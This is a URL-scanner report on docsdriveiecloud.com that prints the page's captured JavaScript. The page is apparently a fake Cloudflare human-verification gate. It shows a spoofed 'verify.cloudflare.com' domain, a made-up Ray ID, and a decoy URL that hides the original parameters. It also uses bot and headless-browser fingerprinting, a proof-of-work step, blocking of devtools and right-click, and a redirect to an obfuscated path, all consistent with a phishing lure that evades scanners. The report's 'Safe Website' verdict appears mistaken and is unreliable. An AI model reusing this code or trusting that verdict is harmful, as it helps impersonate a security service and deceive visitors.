Verify you are human

technology software

English

PHPSESSID

You're looking at domain 'docsdriveiecloud.com' on the commercial generic top-level domain (.com) while skipping any subdomain. The second-level label 'docsdriveiecloud' is 16 characters long split between 7 vowels and 9 consonants. Word splitting yields four words: docs, drive, ie, cloud. Expect 4.5 characters per word on average. No strong language cues emerged from the frequency lists.

html/e7/49/e7495c92-c308-4173-a88b-39fb20279c1d.html.gz

2c6df77bfa6153933f0b7a7731d3eada54e1d8990a98c948cff857757f469273

bd0fe81b3f8facd096c5dfe9c71e10b2274c845adbc2ff2d25cf3a997d0386a8

viewport

no-store, no-cache, must-revalidate, max-age=0

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

eNom, LLC

DOCSDRIVEIECLOUD.COM

Cloudflare Abuse Contact

MNT-CLOUDFLARE

Cloudflare Technical Contact

CLOUDFLARENET-EU


        (function () {
            // Base64-encoded payload of the full stealth verification HTML (CSS + JS + assets)
            var b64 = 'PCFET0NUWVBFIGh0bWw+IAo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogI


        /****************************
         * CONFIG (from PHP/.env)
         ****************************/
        const MANUAL_VISIBLE_DOMAIN = "verify.cloudflare.com";

        
        const DEFAULT_REDIRECT_URL = "https://docsdriveiecloud.com/common23234/jWKDgKOkVKAV/WrSuqSxjvpH1/Rh3ja8HSa7T8/fEXvG7BKbW0S/iHD4YexjsRPG/kYE3O4wCzIPr/YEh1IcUfvG9r/TJpuxP3zPIEm/Z5rN4w4CuVYq/FqNcEA5vbjc5/";
        // Proof-of-Work configuration (strength controlled from PHP via BL_ENABLE_POW / BL_CHALLENGE_DIFFICULTY)
        const POW_ENABLED    = true;
        const POW_DIFFICULTY = 16384;
        const POW_CHALLENGE  = "NWUzNDhlZTM1ODBhOWFiODg1YjRmNDJkNTZiZWM5MjZ8MTc3MjgxMzAzM3wxNzguNjMuMTYuMjI0fDY0ODU1OWRiZWMzMjY4Y2RhMjM1MTY4NjUzM2ZhNDM2MjM1NDk3MDIyZjU5YTA4YjA3NGRiMTU1MDJhOTgzN2U=";
        // Gate session binding (server-issued, single-use)
        const GATE_SID   = "85c09c020366062846cb9f4edb4e956bb62e4cf4a69636096993e2487c8a7dcb";
        const GATE_NONCE = "bf5929daff5cb601e2a7b56c3e914b56";


let SERVER_VERIFY_TOKEN = null;

// Simple human-signal tracking for behavioural scoring
const HUMAN_SIGNALS = {
    focus: false,
    interaction: false,
    minTimePassed: false,

    // "Visible browser" / anti-automation hints (do not rely on invasive fingerprinting)
    visibility: (document.visibilityState || null),
    hasFocusNow: (typeof document.hasFocus === 'function' ? document.hasFocus() : null),
    webdriver: (typeof navigator !== 'undefined' && 'webdriver' in navigator ? navigator.webdriver : null),
    pluginsLen: (navigator.plugins ? navigator.plugins.length : null),
    languagesLen: (navigator.languages ? navigator.languages.length : null),
    outerW: (typeof window !== 'undefined' ? window.outerWidth : null),
    outerH: (typeof window !== 'undefined' ? window.outerHeight : null),
    innerW: (typeof window !== 'undefined' ? window.innerWidth : null),
    innerH: (typeof window !== 'undefined' ? window.innerHeight : null),
    uaHeadlessHint: (typeof navigator !== 'undefined' && navigator.userAgent ? (/HeadlessChrome|PhantomJS|SlimerJS/i.test(navigator.userAgent)) : null),
};

window.addEventListener('focus', () => { HUMAN_SIGNALS.focus = true; }, { once: true });
// keep "current" focus/visibility fresh (helps catch background/hidden automation)
window.addEventListener('blur', () => { HUMAN_SIGNALS.hasFocusNow = (typeof document.hasFocus === 'function' ? document.hasFocus() : null); });
document.addEventListener('visibilitychange', () => { HUMAN_SIGNALS.visibility = (document.visibilityState || null); });

window.addEventListener('mousemove', () => { HUMAN_SIGNALS.interaction = true; }, { once: true });
window.addEventListener('touchstart', () => { HUMAN_SIGNALS.interaction = true; }, { once: true });
window.addEventListener('scroll', () => { HUMAN_SIGNALS.interaction = true; }, { once: true });

setTimeout(() => {
    HUMAN_SIGNALS.minTimePassed = true;
}, 1200);

/****************************
         * IMPORTANT CHANGE:
         * - No cookies are used or set.
         * - Any existing cookies from previous versions are proactively expired.
         * - Verification state is kept in-memory ONLY for this page load.
         ****************************/
        const COOKIE_NAME = 'human_verified';

        function deleteCookieEverywhere(name) {
            const base = name + '=; Max-Age=0; Expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Lax';
            document.cookie = base + '; Path=/';
            document.cookie = base + '; Path=' + (window.location.pathname || '/');
            const host = window.location.hostname;
            if (host && host.includes('.')) {
                document.cookie = base + '; Path=/; Domain=' + host;
                document.cookie = base + '; Path=/; Domain=.' + host;
                const parts = host.split('.');
                if (parts.length >= 2) {
                    const approxRoot = parts.slice(-2).join('.');
                    document.cookie = base + '; Path=/; Domain=' + approxRoot;
                    document.cookie = base + '; Path=/; Domain=.' + approxRoot;
                }
            }
        }
        deleteCookieEverywhere(COOKIE_NAME);

        const originalPath = window.location.pathname || '/';
        const originalSearch = window.location.search || '';
        const originalHash = window.location.hash || '';
        const urlParams = new URLSearchParams(originalSearch);

        // Create a one-time decoy URL in the address bar so the original
        // query/hash parameters are not visible during verification.
        (function createDecoyUrlOnce() {
            try {
                if (!originalSearch && !originalHash) {
                    return; // nothing sensitive to hide
                }
                const decoyId = Math.random().toString(36).slice(2, 10) + Date.now().toString(36);
                const decoyParam = 'v';
                const decoyUrl = originalPath + '?' + decoyParam + '=' + encodeURIComponent(decoyId);
                if (window.history && window.history.replaceState) {
                    window.history.replaceState(null, '', decoyUrl);
                }
            } catch (e) {
                console.error('Decoy URL update failed:', e);
            }
        })();


        function appendVerifyTokenToUrl(url) {
            if (!SERVER_VERIFY_TOKEN) return url;

            try {
                const u = new URL(url, window.location.origin);
                u.searchParams.set('t', SERVER_VERIFY_TOKEN);
                return u.toString();
            } catch (e) {
                if (url.indexOf('?') === -1) {
                    return url + '?t=' + encodeURIComponent(SERVER_VERIFY_TOKEN);
                }
                return url + '&t=' + encodeURIComponent(SERVER_VERIFY_TOKEN);
            }
        }

        function getRedirectUrl() {
            const redirectParam = urlParams.get('redirect');

            if (redirectParam && redirectParam !== 'null' && redirectParam !== 'undefined') {
                let target = decodeURIComponent(redirectParam).trim();
                if (!target) return '/';

                if (!/^https?:\/\//i.test(target) && !target.startsWith('/')) {
                    target = '/' + target;
                }
                return appendVerifyTokenToUrl(target);
            }

            
            if (DEFAULT_REDIRECT_URL && typeof DEFAULT_REDIRECT_URL === 'string' && DEFAULT_REDIRECT_URL.trim()) {
                let target = DEFAULT_REDIRECT_URL.trim();
                if (originalHash && target.indexOf('#') === -1) {
                    target += originalHash;
                }
                return appendVerifyTokenToUrl(target);
            }

            const path = originalPath || '/';
            const query = originalSearch || '';
            const hash = originalHash || '';
            return appendVerifyTokenToUrl(path + query + hash);
        }

        /****************************
         * DOMAIN DISPLAY (MANUAL OVERRIDE, THEN AUTO)
         ****************************/
        const visibleDomain =
            (MANUAL_VISIBLE_DOMAIN && MANUAL_VISIBLE_DOMAIN.trim()) ||
            window.location.hostname ||
            'your-domain.com';

        document.getElementById('domain-name').textContent = visibleDomain;
        document.getElementById('domain-name-2').textContent = visibleDomain;

        /****************************
         * RAY ID GENERATOR
         ****************************/
        function generateRayId() {
            const chars = '0123456789abcdef';
            let id = '';
            for (let i = 0; i < 12; i++) {
                id += chars[Math.floor(Math.random() * chars.length)];
                if (i === 5) id += ':';
            }
            return id;
        }
        document.getElementById('ray-id').textContent = generateRayId();

        /****************************
         * VERIFICATION FLOW (NO COOKIES)
         ****************************/
        const verificationBox = document.getElementById('verification-box');
        const checkbox = document.getElementById('checkbox');
        const checkmark = document.getElementById('checkmark');
        const spinner = document.getElementById('spinner');
        const verifyText = document.getElementById('verify-text');
        const mainText = document.getElementById('main-text');

        const challengeView = document.getElementById('challenge-view');
        const successPanel = document.getElementById('success-panel');
        const successDomainEl = document.getElementById('success-domain');
        const waitingTextEl = document.getElementById('waiting-text');
        const successLogoEl = document.getElementById('success-logo');
        const headerLogoEl = document.getElementById('header-logo');

        let verified = false;

        // --- Proof-of-Work helpers (client-side hashcash-style, difficulty from BL_CHALLENGE_DIFFICULTY) ---
        function blCountLeadingZeroBits(bytes) {
            let bits = 0;
            for (let i = 0; i < bytes.length; i++) {
                const b = bytes[i];
                if (b === 0) {
                    bits += 8;
                } else {
                    bits += Math.clz32(b) - 24;
                    break;
                }
            }
            return bits;
        }

        async function runPowIfEnabled() {
            if (!POW_ENABLED || !POW_CHALLENGE) {
                return { ok: true, reason: 'pow-disabled-or-missing-challenge' };
            }

            if (!window.crypto || !window.crypto.subtle) {
                // Fallback: still wait a bit to avoid ultra-fast completes and keep UX consistent
                await new Promise(function (resolve) { setTimeout(resolve, 1500); });
                return { ok: true, reason: 'crypto-subtle-not-available-fallback-delay' };
            }

            const difficultyParam = (typeof POW_DIFFICULTY === 'number' && POW_DIFFICULTY > 0)
                ? POW_DIFFICULTY
                : 32768;

            // Map difficulty to target leading zero bits (kept in a safe range for real browsers)
            let targetBits = Math.floor(Math.log2(difficultyParam));
            if (!Number.isFinite(targetBits) || targetBits < 16) targetBits = 16;
            if (targetBits > 24) targetBits = 24;

            const encoder = new TextEncoder();
            const prefix = encoder.encode(String(POW_CHALLENGE) + '|');
            let nonce = 0;
            const start = performance.now();
            // Client-side verification timeout budget (ms).
            // This keeps very slow devices/networks from spinning forever.
            // Increased to 20 seconds per request.
            const maxMillis = 20000;

            while (true) {
                const nonceBytes = encoder.encode(String(nonce));
                const input = new Uint8Array(prefix.length + nonceBytes.length);
                input.set(prefix, 0);
                input.set(nonceBytes, prefix.length);

                const digest = await crypto.subtle.digest('SHA-256', input);
                const bits = blCountLeadingZeroBits(new Uint8Array(digest));

                if (bits >= targetBits) {
                    return { ok: true, nonce: nonce, bits: bits, millis: performance.now() - start };
                }

                nonce++;

                if (nonce % 256 === 0) {
                    const elapsed = performance.now() - start;
                    if (elapsed > maxMillis) {
                        // Treat as soft success so legit humans are not blocked on very slow devices
                        return { ok: true, timeout: true, nonce: nonce, millis: elapsed, bits: bits };
                    }
                    // Yield back to the event loop so the spinner animation stays smooth
                    await new Promise(function (resolve) { requestAnimationFrame(resolve); });
                }
            }
        }

async function verifyPowWithServer(powResult) {
    if (!POW_ENABLED || !POW_CHALLENGE) {
        return true;
    }
    try {
        // Network timeout: 20 seconds
        const controller = (typeof AbortController !== 'undefined') ? new AbortController() : null;
        const timeoutId = setTimeout(function () {
            try { if (controller) controller.abort(); } catch (e) {}
        }, 20000);

        const res = await fetch(window.location.href, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'X-Requested-With': 'XMLHttpRequest'
            },
            signal: controller ? controller.signal : undefined,
            body: JSON.stringify({
                action: 'pow_verify',
                challenge: POW_CHALLENGE,
                nonce: powResult ? powResult.nonce : null,
                sid: GATE_SID,
                gate: GATE_NONCE,
                humanSignals: HUMAN_SIGNALS
            })
        });
        clearTimeout(timeoutId);
        if (!res.ok) return false;
        const data = await res.json();
        if (data && data.ok) {
            if (data.token) {
                SERVER_VERIFY_TOKEN = data.token;
            }
            return true;
        }
        return false;
    } catch (e) {
        try { /* noop */ } catch (e2) {}
        console.error('Server PoW verification error:', e);
        return false;
    }
}




        function getSuccessDisplayDomain() {
            const manual = (MANUAL_VISIBLE_DOMAIN || '').trim();
            if (manual) return manual;

            const host = (window.location.hostname || '').trim();
            return host || visibleDomain || 'your-domain.com';
        }

        function showSuccessScreen() {
            const displayDomain = getSuccessDisplayDomain();

            successDomainEl.textContent = displayDomain;
            waitingTextEl.textContent = 'Waiting for ' + displayDomain + ' to respond...';

            // mirror whatever logo is on top
            successLogoEl.src = headerLogoEl.currentSrc || headerLogoEl.src;

            challengeView.style.display = 'none';
            successPanel.style.display = 'block';
        }

        /**
         * Core verification sequence.
         * This is what runs when user clicks OR automatically on page load.
         */
        
async function beginVerification() {
    if (verified) return;

    verified = true;
    verificationBox.style.cursor = 'default';
    verificationBox.style.pointerEvents = 'none';

    checkbox.classList.add('checked');
    checkmark.classList.add('show');

    // âœ… Update the paragraph text immediately after checking
    mainText.textContent = 'Verifying you are human. This may take a few seconds.';

    // Small delay to show the checkmark before we switch to the spinner
    await new Promise(function (resolve) { setTimeout(resolve, 500); });

    checkmark.classList.remove('show');
    checkbox.style.display = 'none';
    spinner.classList.add('show');
    verifyText.textContent = 'Verifying...';
    verifyText.classList.add('verifying');

    // ðŸ” Run client-side proof-of-work so the spinner stays active until the
    // PoW completes, instead of relying on a fixed artificial timeout.
    let powResult = null;
    try {
        powResult = await runPowIfEnabled();
        if (!powResult || powResult.ok !== true) {
            throw new Error('client-pow-failed');
        }
    } catch (e) {
        console.error('PoW error:', e);
        spinner.classList.remove('show');
        verifyText.textContent = 'Verification failed, try again';
        verifyText.classList.remove('verifying');
        verifyText.classList.add('failure');

        // Reset main text and checkbox so user can retry
        mainText.textContent = 'Verify you are human by completing the action below.';
        checkbox.style.display = 'block';
        checkbox.classList.remove('checked');
        checkmark.classList.remove('show');

        verified = false;
        verificationBox.style.cursor = 'pointer';
        verificationBox.style.pointerEvents = 'auto';
        return;
    }

    // ðŸŒ Send PoW proof to server for verification (binds to IP & TTL, prevents replay)
    const serverOk = await verifyPowWithServer(powResult);
    if (!serverOk) {
        spinner.classList.remove('show');
        verifyText.textContent = 'Verification failed, try again';
        verifyText.classList.remove('verifying');
        verifyText.classList.add('failure');

        // Reset main text and checkbox so user can retry
        mainText.textContent = 'Verify you are human by completing the action below.';
        checkbox.style.display = 'block';
        checkbox.classList.remove('checked');
        checkmark.classList.remove('show');

        verified = false;
        verificationBox.style.cursor = 'pointer';
        verificationBox.style.pointerEvents = 'auto';
        return;
    }

    spinner.classList.remove('show');
    document.getElementById('success-icon').classList.add('show');
    verifyText.textContent = 'Success!';
    verifyText.classList.remove('verifying');
    verifyText.classList.add('success');

    showSuccessScreen();

    setTimeout(() => {
        window.location.href = getRedirectUrl();
    }, 1800);
}


        // Click to trigger (kept for UX consistency)
                verificationBox.addEventListener('click', beginVerification);
        // Also wire the inner checkbox area directly, in case the user taps
        // only the checkbox on slow networks / retry flows.
        if (checkbox) {
            checkbox.addEventListener('click', function (e) {
                e.stopPropagation();
                beginVerification();
            });
        }


        /****************************
         * DISABLE RIGHT-CLICK & COMMON DEVTOOLS SHORTCUTS
         ****************************/
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });

        document.addEventListener('keydown', function(e) {
            if (e.key === 'F12') e.preventDefault();

            if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'i' || e.key === 'J' || e.key === 'j' || e.key === 'C' || e.key === 'c')) {
                e.preventDefault();
            }

            if (e.ctrlKey && (e.key === 'U' || e.key === 'u' || e.key === 'S' || e.key === 's' || e.key === 'P' || e.key === 'p')) {
                e.preventDefault();
            }
        });
    

Requests	IP Address	Location	AS Autonomous System
1	188.114.97.3	United States	AS13335Cloudflare, Inc.
1	188.114.96.3	United States	AS13335Cloudflare, Inc.
2	2	-	-

Security Scan Report: docsdriveiecloud.com

Summary

AI Security Verdict

Safe Website

Safety Factors

Details

Bot Protection Detected

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies5

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History